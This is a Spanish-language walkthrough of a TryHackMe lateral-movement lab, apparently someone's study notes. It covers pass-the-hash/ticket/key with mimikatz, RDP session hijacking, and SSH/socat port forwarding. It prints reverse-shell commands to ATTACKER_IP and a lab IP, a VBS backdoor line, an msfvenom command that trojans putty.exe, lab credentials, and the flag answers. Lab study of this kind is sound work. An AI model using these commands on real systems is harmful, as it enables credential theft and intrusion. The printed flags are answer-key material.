Como resultado de extraer credenciales de un host donde hemos obtenido privilegios administrativos (usando mimikatz o herramientas similares), podríamos obtener contraseñas en texto plano o hashes que se pueden descifrar fácilmente. Sin embargo, si no tenemos suerte, terminaremos con contraseñas no descifradas. NTLM hashes de contraseñas.

Aunque pueda parecer que realmente no podemos usar esos hashes, el desafío enviado durante la autenticación puede responderse simplemente conociendo el hash de la contraseña. Esto significa que podemos autenticarnos sin necesidad de conocer la contraseña en texto plano. En lugar de tener que descifrarla NTLM hashes, si el dominio de Windows está configurado para usar NTLM Para la autenticación, podemos usar Pass-the-Hash (PtH) y autenticarnos correctamente.

Para extraerNTLMPara obtener los hashes, podemos usar Mimikatz para leer el SAM local o extraer los hashes directamente de la memoria LSASS.

 

Extracción NTLM hashes de SAM local:

Este método solo permite obtener hashes de usuarios locales en la máquina. No se podrán obtener hashes de usuarios de dominio.

ExtracciónNTLMhashes de la memoria LSASS:

Este método te permitirá extraer cualquierNTLMhashes para usuarios locales y cualquier usuario de dominio que haya iniciado sesión recientemente en la máquina.

Luego podemos usar los hashes extraídos para realizar un ataque PtH usando mimikatz para inyectar un token de acceso para el usuario víctima en una shell inversa (o cualquier otro comando que desee) de la siguiente manera:

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:»c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555″

Tenga en cuenta que utilizamos esto token::revertpara restablecer nuestros privilegios de token originales, ya que intentar realizar un pass-the-hash con un token elevado no funcionará. 

Esto sería el equivalente a usar runas /netonlypero con un hash en lugar de una contraseña y generará una nueva shell inversa desde donde podemos ejecutar cualquier comando como el usuario víctima.

Para recibir la shell inversa, debemos ejecutar un oyente inverso en nuestro AttackBox:

user@AttackBox$nc-lvp5555

Curiosamente, si ejecutas el comando whoami en esta consola, seguirá mostrándote el usuario original que estabas usando antes de usar PtH, pero cualquier comando que ejecutes desde aquí utilizará las credenciales que inyectamos usando PtH.

Pasar el hash usando Linux:

Si tienes acceso a un servidor Linux (como tu AttackBox), varias herramientas ofrecen soporte integrado para realizar PtH utilizando diferentes protocolos. Dependiendo de los servicios que tengas disponibles, puedes hacer lo siguiente:

Conéctese a RDP usando PtH:

xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

Conéctese a través de psexec usando PtH:

psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

Nota: Solo la versión de psexec para Linux admite PtH.

Conéctese a WinRM usando PtH:

evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Autenticación Kerberos

Veamos rápidamente cómo funciona la autenticación Kerberos en redes Windows:

1. El usuario envía su nombre de usuario y una marca de tiempo cifrada mediante una clave derivada de su contraseña al Centro de Distribución de Claves (KDC) , un servicio que normalmente se instala en el Controlador de Dominio encargado de crear tickets Kerberos en la red.
   El KDC creará y enviará un Ticket de Concesión de Tickets (TGT) , lo que permitirá al usuario solicitar tickets para acceder a servicios específicos sin necesidad de proporcionar sus credenciales a dichos servicios. Junto con el TGT, se le entregará al usuario una Clave de Sesión , que necesitará para generar las solicitudes posteriores.
   Tenga en cuenta que el TGT está cifrado mediante el hash de la contraseña de la cuenta krbtgt , por lo que el usuario no puede acceder a su contenido. Es importante saber que el TGT cifrado incluye una copia de la clave de sesión como parte de su contenido, y el KDC no necesita almacenar la clave de sesión, ya que puede recuperar una copia descifrando el TGT si fuera necesario.

1. Cuando los usuarios desean conectarse a un servicio de la red, como un recurso compartido, un sitio web o una base de datos, utilizan su TGT para solicitar al KDC un Ticket Granting Service (TGS) . Los TGS son tickets que permiten la conexión únicamente al servicio específico para el que fueron creados. Para solicitar un TGS, el usuario envía su nombre de usuario y una marca de tiempo cifrada con la clave de sesión, junto con el TGT y un Service Principal Name (SPN), que indica el nombre del servicio y del servidor al que se pretende acceder.
   Como resultado, el KDC nos enviará un TGS y una clave de sesión de servicio , que necesitaremos para autenticarnos en el servicio al que queremos acceder. El TGS está cifrado mediante el hash del propietario del servicio . El propietario del servicio es la cuenta de usuario o máquina bajo la cual se ejecuta el servicio. El TGS contiene una copia de la clave de sesión de servicio en su contenido cifrado para que el propietario del servicio pueda acceder a ella descifrándola.

1. Posteriormente, el TGS se puede enviar al servicio deseado para autenticarlo y establecer una conexión. El servicio utilizará el hash de la contraseña de su cuenta configurada para descifrar el TGS y validar la clave de sesión del servicio.

Pasar el boleto

En ocasiones, será posible extraer tickets Kerberos y claves de sesión de la memoria LSASS utilizando mimikatz. Este proceso generalmente requiere privilegios de SYSTEM en la máquina atacada y se puede realizar de la siguiente manera:

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

Tenga en cuenta que si solo tuviéramos acceso a un ticket pero no a su clave de sesión correspondiente, no podríamos usar ese ticket; por lo tanto, ambos son necesarios.

Si bien Mimikatz puede extraer cualquierTGTAunque los TGS estén disponibles en la memoria del proceso LSASS, en la mayoría de los casos nos interesarán los TGT, ya que permiten solicitar acceso a cualquier servicio al que el usuario tenga permiso. Sin embargo, los TGS solo son válidos para un servicio específico. Para extraer los TGT se requieren credenciales de administrador, mientras que la extracción de los TGS puede realizarse con una cuenta de privilegios bajos (solo aquellos asignados a dicha cuenta).

Una vez que hayamos extraído el ticket deseado, podemos inyectarlo en la sesión actual con el siguiente comando:

mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi

Inyectar tickets en nuestra propia sesión no requiere privilegios de administrador. Después de esto, los tickets estarán disponibles para cualquier herramienta que usemos para el movimiento lateral. Para comprobar si los tickets se inyectaron correctamente, puede usar el comando klist:

Overpass-the-hash / Pass-the-Key

Este tipo de ataque es similar a PtH, pero aplicado a redes Kerberos.

Cuando un usuario solicita un TGT, envía una marca de tiempo cifrada con una clave de cifrado derivada de su contraseña. El algoritmo utilizado para derivar esta clave puede ser DES (deshabilitado por defecto en las versiones actuales de Windows), RC4, AES128 o AES256, según la versión de Windows instalada y la configuración de Kerberos. Si disponemos de alguna de estas claves, podemos solicitar un TGT al KDC sin necesidad de la contraseña, de ahí el nombre de Pass-the-key (PtK) .

Podemos obtener las claves de cifrado Kerberos desde la memoria utilizando mimikatz con los siguientes comandos:

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

Dependiendo de las claves disponibles, podemos ejecutar los siguientes comandos en mimikatz para obtener una shell inversa a través de Pass-the-Key ( nc64ya está disponible en THMJMP2 para su comodidad):

Si tenemos el hash RC4:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:»c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556″

Si tenemos el hash AES128:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:»c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556″

Si tenemos el hash AES256:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:»c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556″

Tenga en cuenta que al usar RC4, la clave será igual al hash NTLM de un usuario. Esto significa que si pudiéramos extraer el hash NTLM, podríamos usarlo para solicitar un TGT siempre que RC4 sea uno de los protocolos habilitados. Esta variante en particular se conoce generalmente como Overpass-the-Hash (OPtH) .

Para recibir la shell inversa, debemos ejecutar un oyente inverso en nuestro AttackBox:

Caja de ataque

user@AttackBox$nc-lvp5556

Al igual que con PtH, cualquier comando ejecutado desde este intérprete de comandos utilizará las credenciales inyectadas a través de mimikatz.

¡Manos a la obra!

Para comenzar este ejercicio, deberá conectarse a THMJMP2 utilizando las siguientes credenciales a través de SSH:

Usuario:  ZA.TRYHACKME.COM\t2_felicia.dean

Contraseña:  iLov3THM!

ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com

Estas credenciales le otorgarán acceso administrativo a THMJMP2, lo que le permitirá usar mimikatz para extraer el material de autenticación necesario para realizar cualquiera de las técnicas presentadas durante esta tarea.

Usando suSSHsesión, utilice mimikatz para extraer material de autenticación y realice Pass-the-Hash, Pass-the-Ticket o Pass-the-Key contra el usuario del dominio t1_toby.beck.

Una vez que tenga una línea de comandos con sus credenciales cargadas, úsela winrs para conectarse a una línea de comandos en THMIIS. Dado que las credenciales de t1_toby.beck ya están inyectadas en su sesión como resultado de cualquiera de los ataques, puede usar winrs sin especificar ninguna credencial, y utilizará las disponibles para su sesión actual:

winrs.exe -r:THMIIS.za.tryhackme.com cmd

Encontrarás una bandera en el escritorio de t1_toby.beck en THMIIS. Ambos mimikatz están psexec64disponibles en C:\toolsTHMJMP2.

Responda las siguientes preguntas

¿Qué bandera se obtiene al ejecutar «flag.exe» en el escritorio de t1_toby.beck en THMIIS?

THM{NO_PASSWORD_NEEDED}

Paso a paso completo — flag de t1_toby.beck

PASO 1 — Listener en AttackBox

bash

nc -lvnp 5556

PASO 2 — SSH a THMJMP2 como t2_felicia.dean

bash

ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com
# Password: iLov3THM!

PASO 3 — Abrí mimikatz en THMJMP2

cmd

cd C:\tools
mimikatz.exe
PASO 4 — Extraé las claves de t1_toby.beck
privilege::debug
token::elevate
sekurlsa::ekeys
Buscá en el output a `t1_toby.beck` y anotá su hash **rc4** o **aes256**.
PASO 5 — Pass-the-Key con el hash encontrado
Si tenés rc4:
token::revert
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:<HASH_RC4> /run:»c:\tools\nc64.exe -e cmd.exe 10.150.74.7 5556″
Si tenés aes256:
token::revert
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /aes256:<HASH_AES256> /run:»c:\tools\nc64.exe -e cmd.exe 10.150.74.7 5556″

PASO 6 — En el listener 5556, conectate a THMIIS

cmd

winrs.exe -r:thmiis.za.tryhackme.com cmd

PASO 7 — Ejecutá el flag

cmd

cd C:\Users\t1_toby.beck\Desktop
flag.exe

Problemas? Repasemos juntos…..

Tenés los hashes de t1_toby.beck

rc4_hmac_nt: 533f1bd576caa912bdb9da284bbc60fe
aes256:      6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e

PASO 1 — Listener en AttackBox

bash

nc -lvnp 5556
### PASO 2 — En mimikatz (THMJMP2), lanzá la shell
token::revert
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:»c:\tools\nc64.exe -e cmd.exe 10.150.74.7 5556″

PASO 3 — En el listener 5556, conectate a THMIIS

cmd

winrs.exe -r:thmiis.za.tryhackme.com cmd

PASO 4 — Ejecutá el flag

cmd

cd C:\Users\t1_toby.beck\Desktop
flag.exe

Tarea 6 Abuso del comportamiento del usuario

En determinadas circunstancias, un atacante puede aprovechar las acciones de los usuarios para obtener acceso a otros equipos de la red. Si bien existen muchas maneras de que esto ocurra, analizaremos algunas de las más comunes.

Abuso de acciones modificables

Es bastante común encontrar recursos compartidos de red que los usuarios legítimos utilizan para realizar tareas cotidianas al revisar entornos corporativos. Si por alguna razón esos recursos compartidos tienen permisos de escritura, un atacante puede insertar archivos específicos para obligar a los usuarios a ejecutar cualquier tipo de código malicioso y así obtener acceso a sus equipos.

Un escenario común consiste en encontrar un acceso directo a un script o archivo ejecutable alojado en un recurso compartido de red.

La lógica detrás de esto es que el administrador puede mantener un archivo ejecutable en un recurso compartido de red, y los usuarios pueden ejecutarlo sin copiar ni instalar la aplicación en su equipo. Si nosotros, como atacantes, tenemos permisos de escritura sobre dichos scripts o ejecutables, podemos crear puertas traseras para obligar a los usuarios a ejecutar cualquier carga útil que deseemos.

Aunque el script o ejecutable se encuentre alojado en un servidor, cuando un usuario abre el acceso directo en su estación de trabajo, el ejecutable se copiará del servidor a su %temp% carpeta y se ejecutará en la estación de trabajo. Por lo tanto, cualquier carga útil se ejecutará en el contexto de la estación de trabajo del usuario final (y la cuenta de usuario con la que haya iniciado sesión).

Scripts .vbs con puertas traseras

Por ejemplo, si el recurso compartido es un script VBS, podemos colocar una copia de nc64.exe en el mismo recurso compartido e inyectar el siguiente código en el script compartido:

CreateObject(«WScript.Shell»).Run «cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234″, 0, True

Esto copiará nc64.exe desde la carpeta compartida al %tmp% directorio de la estación de trabajo del usuario y enviará una shell inversa al atacante cada vez que un usuario abra el script VBS compartido.

Acceso no autorizado a archivos .exe

Si el archivo compartido es un binario de Windows, por ejemplo putty.exe, puedes descargarlo desde el recurso compartido y usar msfvenom para inyectarle una puerta trasera. El binario seguirá funcionando con normalidad, pero ejecutará una carga útil adicional de forma silenciosa. Para crear un archivo putty.exe con puerta trasera, podemos usar el siguiente comando:

msfvenom -a x64 –platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b «\x00» -f exe -o puttyX.exe

El archivo puttyX.exe resultante ejecutará un reverse_tcp.medidor.  La carga útil se introduce sin que el usuario se dé cuenta. Una vez generado el archivo, podemos reemplazar el ejecutable en el recurso compartido de Windows y esperar conexiones utilizando el módulo exploit/multi/handler de Metasploit.

Secuestro de RDP

Cuando un administrador usa Escritorio remoto para conectarse a una máquina y cierra el cliente RDP en lugar de cerrar la sesión, esta permanecerá abierta en el servidor indefinidamente. Si tiene privilegios de SYSTEM en Windows Server 2016 o versiones anteriores, puede tomar el control de cualquier sesión RDP existente sin necesidad de contraseña.

Si tenemos acceso de administrador, podemos obtener SYSTEM mediante cualquier método que prefiramos. Por ahora, usaremos psexec para hacerlo. Primero, ejecutemos cmd.exe como administrador:

Desde allí, ejecuta PsExec64.exe(disponible en C:\tools\):

PsExec64.exe -s cmd.exe

Para listar las sesiones existentes en un servidor, puede utilizar el siguiente comando:

Según la salida del comando anterior, si estuviéramos conectados actualmente a través de RDP Usando el usuario administrador, nuestro NOMBRE DE SESIÓN sería rdp-tcp#6. También podemos ver que un usuario llamado luke ha dejado una sesión abierta con id 3.  Cualquier sesión con  estado Disco ha sido dejada abierta por el usuario y no se está utilizando en este momento. Si bien también puedes tomar el control de las sesiones activas, el usuario legítimo será expulsado de su sesión cuando lo hagas, lo que podría ser notado por él.

Para conectarnos a una sesión, usaremos tscon.exe y especificaremos el ID de la sesión que vamos a controlar, así como nuestro NOMBRE DE SESIÓN actual. Siguiendo el ejemplo anterior, para controlar la sesión de Luke si estuviéramos conectados como usuario administrador, usaríamos el siguiente comando:

tscon 3 /dest:rdp-tcp#6

En términos sencillos, el comando indica que la sesión gráfica 3propiedad de luke debe conectarse con la sesión RDP rdp-tcp#6propiedad del usuario administrador.

Como resultado, reanudaremos el de Luke. RDP sesión y conéctese inmediatamente.

Nota: Windows Server 2019 no permite conectarse a la sesión de otro usuario sin conocer su contraseña.

¡Manos a la obra!

Para completar este ejercicio, deberá conectarse a THMJMP2 utilizando un nuevo conjunto de credenciales obtenidas de  http://distributor.za.tryhackme.com/creds_t2 ( Tenga en cuenta que este enlace es diferente al de las otras tareas ). Una vez que tenga sus credenciales, conéctese a THMJMP2 a través de RDP:

xfreerdp /v:thmjmp2.za.tryhackme.com /u:YOUR_USER /p:YOUR_PASSWORD

Estas credenciales le otorgarán acceso administrativo a THMJMP2.

Para esta tarea, trabajaremos en el secuestro de una sesión RDP. Si te interesa intentar insertar archivos ejecutables u otros archivos mediante puertas traseras, puedes encontrar algunos ejercicios sobre este tema en la sala de Persistencia Local de Windows .

Sigue las instrucciones para secuestrar la sesión RDP de t1_toby.beck en THMJMP2 y obtener tu bandera.

Nota: Al ejecutar el comando query session, verá varios usuarios llamados t1_toby.beck seguidos de un número. Se trata de copias idénticas del mismo usuario, y puede secuestrar cualquiera de ellas (no es necesario secuestrarlas todas). Asegúrese de secuestrar una sesión marcada como desconectada (Disc.) para evitar interferir con otros usuarios.

Responda las siguientes preguntas

¿Qué bandera obtuviste al secuestrar la sesión de t1_toby.beck en THMJMP2?

THM{NICE_WALLPAPER}

Paso a paso — RDP Hijacking de t1_toby.beck

PASO 1 — Conseguí credenciales t2

http://distributor.za.tryhackme.com/creds_t2

PASO 2 — Conectate a THMJMP2 por RDP

bash

xfreerdp /v:thmjmp2.za.tryhackme.com /u:<TU_USUARIO> /p:<TU_PASSWORD> /cert-ignore

PASO 3 — Dentro de THMJMP2, abrí CMD como Administrador

Click derecho en CMD → «Run as Administrator»

PASO 4 — Escalá a SYSTEM con PsExec

cmd

C:\tools\PsExec64.exe -s cmd.exe

PASO 5 — Listá las sesiones

cmd

query user

Buscá una sesión de t1_toby.beck con estado Disc y anotá su ID y tu SESSIONNAME actual.

PASO 6 — Secuestrá la sesión

cmd

tscon <ID_toby> /dest:<TU_SESSIONNAME>

Por ejemplo:

cmd

tscon 3 /dest:rdp-tcp#6

PASO 7 — Ejecutá el flag

Una vez dentro de la sesión de toby:

cmd

cd C:\Users\t1_toby.beck\Desktop
flag.exe

Problemas???? Proba esto:

PASO 1 —Primero conseguí las credenciales del creds_t2 y conectate por RDP. Usá las credenciales que ya tenés

bash

xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_felicia.dean /p:’iLov3THM!’ /cert-ignore

Una vez dentro del escritorio de THMJMP2:

PASO 2 — CMD como Administrador

Click derecho en el menú inicio → Command Prompt (Admin)

PASO 3 — Escalá a SYSTEM

cmd

C:\tools\PsExec64.exe -s cmd.exe

PASO 4 — Listá sesiones

cmd

query user

Buscá t1_toby.beck con estado Disc y anotá su ID y tu SESSIONNAME.

PASO 5 — Secuestrá

cmd

tscon <ID_toby> /dest:<TU_SESSIONNAME>

PASO 6 — Flag

cmd

cd C:\Users\t1_toby.beck\Desktop
flag.exe

Tarea 7 Reenvío de puertos

La mayoría de las técnicas de movimiento lateral que hemos presentado requieren que ciertos puertos estén disponibles para un atacante. En redes reales, los administradores pueden haber bloqueado algunos de estos puertos por razones de seguridad o haber implementado segmentación alrededor de la red, impidiendo que llegue PYME, RDP Puertos WinRM o RPC.

Para sortear estas restricciones, podemos usar técnicas de reenvío de puertos, que consisten en usar cualquier host comprometido como servidor intermedio para conectarnos a otros hosts. Es de esperar que algunas máquinas tengan más permisos de red que otras, ya que cada rol en una empresa tendrá necesidades diferentes en cuanto a los servicios de red necesarios para el trabajo diario.

SSH Construcción de túneles

El primer protocolo que vamos a analizar esSSH, ya que ya tiene funcionalidad incorporada para realizar el reenvío de puertos a través de una función llamada SSH Túnel . Mientras SSH solía ser un protocolo asociado con Linux Actualmente, Windows incluye el cliente OpenSSH de forma predeterminada, por lo que es de esperar encontrarlo en muchos sistemas hoy en día, independientemente de su sistema operativo.

SSH El tunelizado se puede utilizar de diferentes maneras para reenviar puertos a través de un SSH conexión, que utilizaremos dependiendo de la situación. Para explicar cada caso, supongamos un escenario en el que hemos obtenido el control de la máquina PC-1 (no es necesario que sea acceso de administrador) y nos gustaría usarla como punto de acceso para acceder a un puerto en otra máquina a la que no podemos conectarnos directamente. Iniciaremos un túnel desde la máquina PC-1, que actuará como un SSH cliente, al PC del atacante, que actuará como un SSH servidor. La razón para hacerlo es que a menudo encontrará un SSH cliente en máquinas Windows, pero no SSHEl servidor estará disponible la mayor parte del tiempo.

Dado que estableceremos una conexión con la máquina de nuestro atacante, crearemos un usuario en ella sin acceso a ninguna consola para la creación de túneles y estableceremos una contraseña para usarla en la creación de los túneles:

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

Según tus necesidades, el túnel SSH se puede usar para el reenvío de puertos local o remoto. Veamos cada caso.

Reenvío de puertos remoto SSH

En nuestro ejemplo, supongamos que las políticas del firewall impiden que la máquina del atacante acceda directamente al puerto 3389 del servidor. Si el atacante ya ha comprometido la PC-1 y, a su vez, la PC-1 tiene acceso al puerto 3389 del servidor, puede utilizarlo para redirigir el acceso al puerto 3389 mediante el reenvío remoto de puertos desde la PC-1. El reenvío remoto de puertos permite redirigir un puerto accesible desde el cliente SSH (en este caso, la PC-1) a un servidor SSH remoto (la máquina del atacante).

Como resultado, se abrirá un puerto en la máquina del atacante que podrá utilizarse para conectarse al puerto 3389 del servidor a través del túnel SSH. A su vez, PC-1 actuará como proxy para la conexión, de modo que el servidor verá todo el tráfico como si proviniera de PC-1.

Una pregunta válida que podría surgir en este punto es por qué necesitamos el reenvío de puertos si hemos comprometido PC-1 y podemos ejecutar una sesión RDP directamente desde allí. La respuesta es simple: en una situación donde solo tenemos acceso a la consola de PC-1, no podremos usar ningún cliente RDP, ya que no disponemos de una interfaz gráfica de usuario (GUI). Al hacer que el puerto esté disponible para la máquina del atacante, se puede usar un cliente RDP de Linux para conectarse. Situaciones similares se presentan cuando se desea ejecutar un exploit contra un puerto al que no se puede acceder directamente, ya que dicho exploit puede requerir un lenguaje de scripting específico que no siempre está disponible en las máquinas comprometidas.

Haciendo referencia a la imagen anterior, para reenviar el puerto 3389 del servidor a la máquina de nuestro atacante, podemos usar el siguiente comando en PC-1:

PC1: Símbolo del sistema

C:\> ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N

Esto establecerá una sesión SSH desde PC-1 a 1.1.1.1(PC atacante) usando el tunneluser usuario.

Dado que tunneluser no se le permite ejecutar un shell en la PC del atacante, necesitamos ejecutar el ssh comando con el-N cambie para evitar que el cliente solicite uno, o la conexión se cerrará inmediatamente.-R El comando `switch` se utiliza para solicitar el reenvío de un puerto remoto. La sintaxis requiere que primero indiquemos el puerto que abriremos en el servidor SSH (3389), seguido de dos puntos y, a continuación, la IP y el puerto del socket que reenviaremos (3.3.3.3:3389). Tenga en cuenta que los números de puerto no tienen por qué coincidir, aunque en este ejemplo sí lo hacen.

El comando en sí no mostrará nada, pero el túnel dependerá de que el comando esté en ejecución. Cuando queramos, podemos cerrar el túnel pulsando CTRL+C, como con cualquier otro comando.

Una vez que nuestro túnel esté configurado y en funcionamiento, podemos ir a la máquina del atacante y conectarnos mediante RDP al puerto reenviado para llegar al servidor:

Máquina del atacante

munra@attacker-pc$xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword

SSH Reenvío de paquetes local

El reenvío de puertos local nos permite «extraer» un puerto de un SSH servidor en el SSH. En nuestro caso, esto podría usarse para tomar cualquier servicio disponible en la máquina del atacante y hacerlo accesible a través de un puerto en PC-1. De esta manera, cualquier host que no pueda conectarse directamente a la PC del atacante, pero sí a PC-1, podrá acceder a los servicios del atacante a través del host intermedio.

El uso de este tipo de reenvío de puertos nos permitiría ejecutar shells inversas desde hosts que normalmente no podrían conectarse con nosotros, o simplemente hacer que cualquier servicio que deseemos esté disponible para máquinas que no tienen conexión directa con nosotros.

Para reenviar el puerto 80 desde la máquina del atacante y hacerlo accesible desde PC-1, podemos ejecutar el siguiente comando en PC-1:

PC1: Símbolo del sistema

C:\> ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N

La estructura de comandos es similar a la utilizada en el reenvío de puertos remoto, pero utiliza la -L opción para el reenvío de puertos local. Esta opción requiere que indiquemos el socket local utilizado por PC-1 para recibir conexiones ( *:80) y el socket remoto al que conectarse desde la perspectiva de la PC del atacante ( 127.0.0.1:80).

Observe que utilizamos la dirección IP 127.0.0.1 en el segundo socket, ya que desde la perspectiva del PC del atacante, ese es el host que tiene el puerto 80 que se va a reenviar.

Dado que vamos a abrir un nuevo puerto en PC-1, es posible que necesitemos agregar una regla de firewall para permitir las conexiones entrantes (con dir=in). Para esto se necesitan privilegios de administrador:

netsh advfirewall firewall add rule name=»Open Port 80″ dir=in action=allow protocol=TCP localport=80

Una vez configurado el túnel, cualquier usuario que dirija su navegador a PC-1 http://2.2.2.2:80podrá ver el sitio web publicado por la máquina del atacante.

Reenvío de puertos con socat

En situaciones donde SSH no está disponible, se puede usar socat para realizar funciones similares. Si bien no es tan flexible como SSH, socat permite reenviar puertos de una manera mucho más sencilla. Una de las desventajas de usar socat es que debemos transferirlo al host pivote (PC-1 en nuestro ejemplo), lo que lo hace más detectable que SSH, pero podría valer la pena intentarlo cuando no haya otra opción disponible.

La sintaxis básica para realizar el reenvío de puertos usando socat es mucho más sencilla. Si quisiéramos abrir el puerto 1234 en un host y reenviar cualquier conexión que recibamos allí al puerto 4321 en el host 1.1.1.1, tendríamos el siguiente comando:

socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

ElforkEsta opción permite que socat cree un nuevo proceso para cada conexión recibida, lo que posibilita gestionar múltiples conexiones sin necesidad de cerrar el servicio. Si no se incluye, socat se cerrará cuando finalice la primera conexión establecida.

Volviendo a nuestro ejemplo, si quisiéramos acceder al puerto 3389 en el servidor usando PC-1 como punto de acceso, como hicimos con el reenvío de puertos remoto SSH, podríamos usar el siguiente comando:

PC-1: Símbolo del sistema

C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

Tenga en cuenta que socat no puede reenviar la conexión directamente a la máquina del atacante comoSSHLo hizo, pero abrirá un puerto en PC-1 al que la máquina del atacante podrá conectarse:

Como es habitual, dado que se está abriendo un puerto en el host pivote, es posible que necesitemos crear una regla de firewall para permitir cualquier conexión a ese puerto:

netsh advfirewall firewall add rule name=»Open Port 3389″ dir=in action=allow protocol=TCP localport=3389

Si, por otro lado, quisiéramos exponer el puerto 80 de la máquina del atacante para que sea accesible desde el servidor, solo necesitamos ajustar un poco el comando:

PC-1: Símbolo del sistema

C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

Como resultado, PC-1 abrirá el puerto 80 y escuchará las conexiones que se reenvíen al puerto 80 en la máquina del atacante:

Reenvío dinámico de puertos y SOCKS

Si bien el reenvío de un solo puerto funciona bastante bien para tareas que requieren acceso a sockets específicos, hay ocasiones en las que podríamos necesitar realizar escaneos en muchos puertos de un host, o incluso en muchos puertos de varias máquinas, todo a través de un host intermedio. En esos casos, el reenvío dinámico de puertos nos permite usar un host intermedio y establecer varias conexiones a cualquier dirección IP o puerto que deseemos mediante un proxy SOCKS .

Como no queremos depender de un servidor SSH existente en las máquinas Windows de nuestra red de destino, normalmente utilizaremos el cliente SSH para establecer un reenvío de puertos dinámico inverso con el siguiente comando:

PC1: Símbolo del sistema

C:\> ssh tunneluser@1.1.1.1 -R 9050 -N

En este caso, el servidor SSH iniciará un SOCKS apoderado en el puerto 9050y reenviar cualquier solicitud de conexión a través del túnel SSH, donde finalmente son gestionadas por el cliente SSH.

Lo más interesante es que podemos usar fácilmente cualquiera de nuestras herramientas a través del proxy SOCKS usando proxychains . Para ello, primero debemos asegurarnos de que proxychains esté configurado correctamente para que cualquier conexión apunte al mismo puerto que usa SSH para el servidor proxy SOCKS. El archivo de configuración de proxychains se encuentra en  /etc/proxychains.confsu AttackBox. Si nos desplazamos hasta el final del archivo de configuración, deberíamos ver una línea que indica el puerto que se usa para el proxy SOCKS:

[ProxyList]
socks4  127.0.0.1 9050

El puerto predeterminado es el 9050, pero cualquier puerto funcionará siempre que coincida con el que utilizamos al establecer el túnel SSH.

Si ahora queremos ejecutar algún comando a través del proxy, podemos usar proxychains:

proxychains curl http://pxeboot.za.tryhackme.com

Tenga en cuenta que algunos programas, como nmap, podrían no funcionar bien con SOCKS en determinadas circunstancias y podrían mostrar resultados alterados, por lo que los resultados podrían variar.

¡Manos a la obra!

Nota: Dado que usted estará haciendoSSHPara establecer conexiones desde la red del laboratorio a su máquina atacante tunneluser ,  le recomendamos encarecidamente que utilice Attackbox o una máquina virtual en lugar de su máquina real. Se han proporcionado instrucciones para crear un usuario que no permita ejecutar comandos ni transferir archivos a través de SSH/SCP; asegúrese de seguirlas al pie de la letra. También se recomienda crear una contraseña segura y tunneluser  única, que no se pueda desechar, y que no sea su contraseña habitual en esta ni en ninguna otra plataforma.

Para completar este ejercicio, deberá conectarse a THMJMP2 utilizando las credenciales que se le asignaron en la Tarea 1 desde  http://distributor.za.tryhackme.com/creds . Si aún no lo ha hecho, haga clic en el enlace y obtenga las credenciales ahora. Una vez que tenga sus credenciales, conéctese a THMJMP2 a través de SSH:

ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

Nuestro primer objetivo será conectarnos a THMIIS mediante RDP. Si intentamos conectarnos directamente desde nuestra máquina atacante, encontraremos que el puerto 3389 ha sido filtrado por un firewall y, por lo tanto, no está disponible directamente. Sin embargo, el puerto está activo y funcionando, pero solo se puede acceder a él desde THMJMP2. Usando socat, que está disponible en C:\tools\socat\THMJMP2, reenviaremos el puerto RDP para que esté disponible en THMJMP2 para conectarse desde la máquina de nuestro atacante.

Para ello, ejecutaremos socat con los siguientes parámetros:

THMJMP2: Símbolo del sistema

C:\tools\socat\>socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389

Tenga en cuenta que no podemos usar el puerto 3389 para nuestro servidor de escucha, ya que THMJMP2 lo utiliza para su propio servicio RDP. Puede cambiar el puerto del servidor de escucha (13389) por otro para evitar conflictos con otros estudiantes. En una configuración típica, tendría que agregar una regla de firewall para permitir el tráfico a través del puerto del servidor de escucha, pero THMJMP2 tiene su firewall desactivado para su comodidad.

Una vez configurado el oyente, debería poder conectarse a THMIIS a través de RDP desde su máquina atacante mediante un pivote a través de su oyente socat en THMJMP2:

Caja de ataque

user@AttackBox$xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020

Una vez conectado, debería aparecer una bandera en el escritorio de t1_thomas.moore en THMIIS.

Explotación de complejos de túneles

